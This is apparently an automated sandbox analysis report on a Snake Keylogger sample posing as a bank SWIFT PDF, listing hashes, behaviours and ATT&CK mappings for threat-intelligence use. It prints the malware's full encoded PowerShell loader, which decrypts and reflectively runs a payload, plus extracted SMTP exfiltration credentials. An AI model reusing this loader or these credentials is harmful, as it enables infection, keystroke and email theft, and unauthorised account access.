snakekeylogger | 89a26e6594b2d773b6651bc805155fd2516e888336aeff9642ae5e835d31feed

Analysis

max time kernel
127s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17/05/2024, 07:15

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General

Target
BANKOVNÍ SWIFT pdf.exe
Size 882KB
Sample240517-h28adsfc84
SHA256 89a26e6594b2d773b6651bc805155fd2516e888336aeff9642ae5e835d31feed
MD5 3585f04cfe1b31b4695007ac4bc7675f
SHA1 b6fe8db56fc26b756f095ef4f989294474f23e83
SHA512 0c9006acaa2fe89fde6b90b59caa0f43a4e60391341cf04734054f9a7e0ed9ccae2115ecdc35a378744fdea832d87ebeec00a109657bc8585ea1f07bdd1c6dfc
SSDEEP 12288:kX9TgXF/OHYMhHQRD+Ba/7WWBEQKT+QuywpnwrqrAp3+qgLghS3lhKc3wfTRoIut:kX9tH9iRneOQIhw7W7BSKIj+fnBlGC
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

snakekeylogger collection execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol
smtp
Host
mail.gbogboro.com
Port
587
Username
[email protected]
Password
Egoamaka@123

https://scratchdreams.tk

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3184-17-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	regsvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	regsvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	regsvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3616 set thread context of 3184	3616	powershell.exe	92

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3616	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3616	powershell.exe
3184	regsvcs.exe
3184	regsvcs.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3616	powershell.exe
Token: SeDebugPrivilege	3184	regsvcs.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2304 wrote to memory of 3616	2304	BANKOVNÍ SWIFT pdf.exe	88
PID 2304 wrote to memory of 3616	2304	BANKOVNÍ SWIFT pdf.exe	88
PID 3616 wrote to memory of 4240	3616	powershell.exe	91
PID 3616 wrote to memory of 4240	3616	powershell.exe	91
PID 3616 wrote to memory of 4240	3616	powershell.exe	91
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3184	3616	powershell.exe	92
PID 3616 wrote to memory of 3548	3616	powershell.exe	93
PID 3616 wrote to memory of 3548	3616	powershell.exe	93
PID 3616 wrote to memory of 3548	3616	powershell.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	regsvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	regsvcs.exe

C:\Users\Admin\AppData\Local\Temp\BANKOVNÍ SWIFT pdf.exe
"C:\Users\Admin\AppData\Local\Temp\BANKOVNÍ SWIFT pdf.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2304
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEMARAAsACAAMAB4ADMANgAsACAAMAB4AEYANQAsACAAMAB4ADYANgAsACAAMAB4AEQAMQAsACAAMAB4ADkARAAsACAAMAB4ADQANAAsACAAMAB4AEYAMAAsACAAMAB4ADEAQgAsACAAMAB4ADcANAAsACAAMAB4ADgANAAsACAAMAB4ADMARAAsACAAMAB4ADQARgAsACAAMAB4ADcANwAsACAAMAB4ADEAMAAsACAAMAB4ADMAQwAsACAAMAB4AEMAOQAsACAAMAB4AEYAMgAsACAAMAB4ADYAQwAsACAAMAB4ADUAQQAsACAAMAB4ADUAQQAsACAAMAB4ADIANgAsACAAMAB4AEUAOAAsACAAMAB4ADUAQgAsACAAMAB4AEQAMAAsACAAMAB4ADgAMwAsACAAMAB4AEMANwAsACAAMAB4ADIAOQAsACAAMAB4ADYAMAAsACAAMAB4ADMARgAsACAAMAB4ADMAMQAsACAAMAB4ADAARgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADkALAAgADAAeAA4ADYALAAgADAAeABEADEALAAgADAAeABCAEMALAAgADAAeAAzADQALAAgADAAeAAwAEYALAAgADAAeABCAEUALAAgADAAeABCADkALAAgADAAeAAwAEEALAAgADAAeABEAEIALAAgADAAeAAwADUALAAgADAAeAAxAEIALAAgADAAeAA5AEIALAAgADAAeAA5AEYALAAgADAAeAAwADkALAAgADAAeAA1ADgAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3616
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    PID:4240
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:3184
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
    3⤵
    PID:3548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_lyzpwnem.dfc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lyzpwnem.dfc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

file-13937.putik

Path C:\Users\Admin\AppData\Local\Temp\file-13937.putik
Size 33KB
SHA256 e112d6c696fe6b9f164cad005ee4a2add31260ed1cd9aef08045afcb307f4ba2
MD5 a4ae782ed3cd3cd5c9baacf51b0b9e0b
SHA1 40f774aca801fa88229ec38291fee5e2b07eeca1
SHA512 0cab7c2c3b7f5518bd7eb6464f6ccaf23ab83372e1af929fae7d2e37b38469d0a0e6b8a3c03e579c9753fea0f5a7d70d558718f21f645e29cd8bf6166ffc9036
SSDEEP 768:1TC1v/GMDD6xyArULTARfBCcUUmN/QnEzifo13skE9/C:1+IMOoQfBzmN/QnqigOku/C
MD5 SHA1 SHA512 SSDEEP

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memory/3184-19-0x0000000005490000-0x0000000005A34000-memory.dmp

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memory/3184-24-0x0000000074C00000-0x00000000753B0000-memory.dmp

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memory/3184-28-0x0000000005470000-0x000000000547A000-memory.dmp

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memory/3184-27-0x0000000006160000-0x00000000061F2000-memory.dmp

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memory/3184-26-0x0000000006290000-0x0000000006452000-memory.dmp

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memory/3184-25-0x0000000000F00000-0x0000000000F50000-memory.dmp

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memory/3184-17-0x0000000000400000-0x0000000000426000-memory.dmp

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memory/3184-18-0x0000000074C0E000-0x0000000074C0F000-memory.dmp

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memory/3184-23-0x0000000074C0E000-0x0000000074C0F000-memory.dmp

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memory/3184-20-0x0000000004F80000-0x000000000501C000-memory.dmp

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memory/3184-21-0x0000000074C00000-0x00000000753B0000-memory.dmp

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memory/3616-22-0x00007FFE22BD0000-0x00007FFE23691000-memory.dmp

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memory/3616-1-0x00007FFE22BD3000-0x00007FFE22BD5000-memory.dmp

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memory/3616-12-0x00007FFE22BD0000-0x00007FFE23691000-memory.dmp

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memory/3616-16-0x0000024772120000-0x000002477219C000-memory.dmp

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memory/3616-15-0x0000024771FC0000-0x0000024771FCC000-memory.dmp

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memory/3616-2-0x0000024771FF0000-0x0000024772012000-memory.dmp

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memory/3616-13-0x00007FFE22BD0000-0x00007FFE23691000-memory.dmp

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